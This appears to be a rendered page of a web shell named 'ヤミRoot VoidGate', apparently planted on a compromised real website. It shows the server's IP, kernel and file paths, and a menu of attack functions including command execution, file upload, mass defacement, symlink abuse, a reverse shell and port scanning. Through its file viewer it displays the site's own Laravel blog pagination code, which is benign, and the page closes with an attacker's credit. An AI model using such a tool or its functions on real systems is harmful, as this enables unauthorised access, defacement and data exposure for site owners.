ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
Modules
/
Blog
/
app
/
Traits
/
Viewing: BlogTrait.php
<?php namespace Modules\Blog\app\Traits; use Illuminate\Pagination\LengthAwarePaginator; use Illuminate\Pagination\Paginator; use Illuminate\Support\Facades\DB; use Modules\Blog\app\Models\Blog; trait BlogTrait { public function getBlogReadableId(): int { try { $autoIncrement = DB::table('INFORMATION_SCHEMA.TABLES') ->where('TABLE_SCHEMA', DB::getDatabaseName()) ->where('TABLE_NAME', 'blogs') ->value('AUTO_INCREMENT'); $readableId = 100000 + (int) $autoIncrement; while (Blog::where('readable_id', $readableId)->exists()) { $readableId++; } return $readableId; } catch (\Throwable $th) { $lastReadable = Blog::max('readable_id') ?? 100000; return $lastReadable + 1; } } public function getPriorityWiseBlogQuery($query, $dataLimit = 'all', $offset = null, $appends = null) { $blogPriority = getWebConfig(name: 'blog_list_priority'); if ($blogPriority && ($blogPriority['custom_sorting_status'] == 1)) { $query = $query->get(); if ($blogPriority['sort_by'] == 'most_clicked') { $query = $query->sortByDesc('click_count'); } elseif ($blogPriority['sort_by'] == 'a_to_z') { $query = $query->sortBy('title', SORT_NATURAL | SORT_FLAG_CASE); } elseif ($blogPriority['sort_by'] == 'z_to_a') { $query = $query->sortByDesc('title', SORT_NATURAL | SORT_FLAG_CASE); } if ($dataLimit != 'all') { $currentPage = $offset ?? Paginator::resolveCurrentPage('page'); $totalSize = $query->count(); $results = $query->forPage($currentPage, $dataLimit); return new LengthAwarePaginator($results, $totalSize, $dataLimit, $currentPage, [ 'path' => Paginator::resolveCurrentPath(), 'query' => request()->all(), 'appends' => $appends, ]); } return $query; } if ($dataLimit != 'all') { return $query->paginate($dataLimit, ['*'], 'page', request()->get('page', $offset))->appends(request()->all()); } return $query->get(); } }
Coded With 💗 by
0x6ick